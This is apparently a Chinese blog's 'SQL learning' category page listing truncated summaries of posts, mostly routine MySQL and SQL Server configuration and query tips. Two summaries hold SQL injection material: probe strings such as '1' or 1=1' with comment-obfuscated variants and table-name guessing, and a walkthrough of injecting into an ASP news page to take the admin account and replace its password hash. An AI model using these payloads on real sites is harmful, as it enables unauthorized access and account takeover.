摘要:在my.ini文件添加下面这行: 可以解决:InnoDB: Attempted to open a previously opened tablespace 错误
阅读全文
随笔分类 - SQL学习
摘要:问题描述 大家都知道, MySQL 中按某字段升序排列的 SQL 为 (以 id 为例, 下同): 降序排列的 SQL 为: 有时以上排序并不能满足我们的需求. 例如, 我们想要按 id 以 5, 3, 7, 1 的顺序排列, 该如何实现. 这也是很多国内外同行经常遇到的问题之一. 下面我们给出
阅读全文
摘要:方法一: 使用 show processlist 语句,查找负荷最重的 SQL 语句,优化该SQL,比如适当建立某字段的索引。 方法二: #查看慢SQL日志是否启用mysql> show variables like 'log_slow_queries'; #查看执行慢于多少秒的SQL会记录到日志文
阅读全文
摘要:MySQL缓存命中率,网上说法不一,下面我说下我的看法,大家轻拍: 总的select查询数等于com_select(没命中) + qcache_hits(命中) + 解析错误的查询。 再来看看Com_select变量: mysql> show global status like 'Com_sele
阅读全文
摘要:使用MYSQL版本:5.6 [client] …… default-character-set=gbk default-storage-engine=MYISAM max_connections=1000 max_connect_errors=500 back_log=200 interactive
阅读全文
摘要:转自:http://www.cnblogs.com/susuyu/archive/2013/05/28/3104249.html 环境:linux,mysql5.5.21 错误:Host is blocked because of many connection errors; unblock wi
阅读全文
摘要:假设你数据库有个A表: ID NAME 1 aaa 2 bbb 3 ccc 4 ddd需求:给你几个ID,返回A表中不存在的ID? 例如提交1,2,8,9 返回8,9select B.id from (select 1 as id from dual union select 2 ...
阅读全文
摘要:终于找到了mysql数据库data目录在哪里!用show variables like 'datadir',可查看真正的data目录原文:http://blog.csdn.net/dmz1981/article/details/8508304
阅读全文
摘要:一条mysql教程 存在该记录则更新,不存在则插入记录的sqlINSERT table (auto_id, auto_name) values (1, ‘yourname') ON DUPLICATE KEY UPDATE auto_name='yourname'ON DUPLICATE KEY U...
阅读全文
摘要:使用mysql做数据库还原的时候,由于有些数据很大,会出现这样的错误:The MySQL Server returned this Error:MySQL Error Nr. MySQL server has gone away。我的一个30mb的备份还原的时候就出现了这错误。解决的方法:1、找到m...
阅读全文
摘要:错误原因:当POST的数据超过 max_allowed_packet 就会报 MySQL server has gone away 的错误。1、查看当前Mysql的max_allowed_packetshow global variables like 'max_allowed_packet';默认...
阅读全文
摘要:UPDATE friends INNER JOIN users ON friends.friendid=users.useridSET friends.friendname=users.username
阅读全文
摘要:当用户在在SQL Server 2008企业管理器中更改表结构时,必须要先删除原来的表,然后重新创建新表,才能完成表的更改,如果强行更改会出现以下提示:不允许保存更改。您所做的更改要求删除并重新创建以下表。您对无法重新创建的标进行了更改或者启用了“阻止保存要求重新创建表的更改”选项。如果要去掉此提示...
阅读全文
摘要:1、应用程序(比如PHP)长时间的执行批量的MYSQL语句。最常见的就是采集或者新旧数据转化。解决方案:在my.ini文件中添加或者修改以下两个变量:wait_timeout=2880000interactive_timeout = 2880000关于两个变量的具体说明可以google或者看官方手册。如果不能修改my.cnf,则可以在连接数据库的时候设置CLIENT_INTERACTIVE,比如:sql = "set interactive_timeout=24*3600";mysql_real_query(...)2、执行一个SQL,但SQL语句过大或者语句中含有BLOB
阅读全文
摘要:mysql查询今天,昨天,近7天,近30天,本月,上一月数据的方法分析总结:话说有一文章表article,存储文章的添加文章的时间是add_time字段,该字段为int(5)类型的,现需要查询今天添加的文章总数并且按照时间从大到小排序,则查询语句如下:select * from `article` where date_format(from_UNIXTIME(`add_time`),’%Y-%m-%d’) = date_format(now(),’%Y-%m-%d’);或者:select * from `article` where to_days(date_format(from_UNIX
阅读全文
摘要:select * from `table` where date(`date`) = curdate()SELECT * FROM `table` WHERE DATE_FORMAT(FROM_UNIXTIME(regdate),'%Y-%m-%d')= DATE_FORMAT(NOW(),'%Y-%m-%d') order by uid desc 第一条最好显示过去24小时过去1周等的mysql语句第二条获得当天数据信息的mysql语句
阅读全文
摘要:检查漏洞1' or 1=1 or ('1' = '11' or 1=1) or '1' = '11' or 1=1 or '1' = '11'/**/or/**/1=1/**/or/**/'1'= '1猜表名1' or 0<(select count(*) from admin) and '1' = '11'/**/or/**/0<(select/**/count(*)/**/from/**/user)/**/and
阅读全文
摘要:直接修改管理员密码的MD5值 然后进后台!(条件 MSSQL)测试如下:http://www.xx.com/news.asp?id=121在地址后输入单引号,显示Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’字符串 ’’’ 之前有未闭合的引号/news/dws.asp,行63说明没有过滤单引号且数据库是MSSQL.and 1=1正常。and 1=2出错。肯定存在注入接着输入http://www.xx.com/news.asp?id=1 or admin_user in (select id from admin)得到帐号为:admi
阅读全文
摘要:我的系统是windows7旗舰版,sql server 2005卸载后重新安装,到安装sql server database services时就弹出对话框“SQL Server 服务无法启动。有关详细信息,请参阅SQL Server联机丛书中的主题‘如何查看SQL Server 2005安装日志文件’和‘手动启动SQL Server’。”最后sql server database services和工作站组件、联机丛书和开发工具安装失败 问题补充: 我是用360卸载的,而且还把注册表删了 最佳答案 请先确定是否把sql相关的东西删了,建议进行如下操作。1.先下个Windows Install
阅读全文
摘要:SQL Server 开发之 复制表数据的SQL脚本生成器收藏 使用SQL Server 2000自带的“生成SQL脚本”工具,可以生成创建表、视图、存储过程等的SQL脚本。那么,能否将表中的数据也生成为SQL脚本,在查询分析器中执行这些脚本后自动将数据导入到SQL Server中呢?答案是肯定的。下面的存储过程是一位高人写的,这位高人的姓氏已无人知晓,但SQL Server社区中偶尔还可看到此不朽之作。代码Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com
阅读全文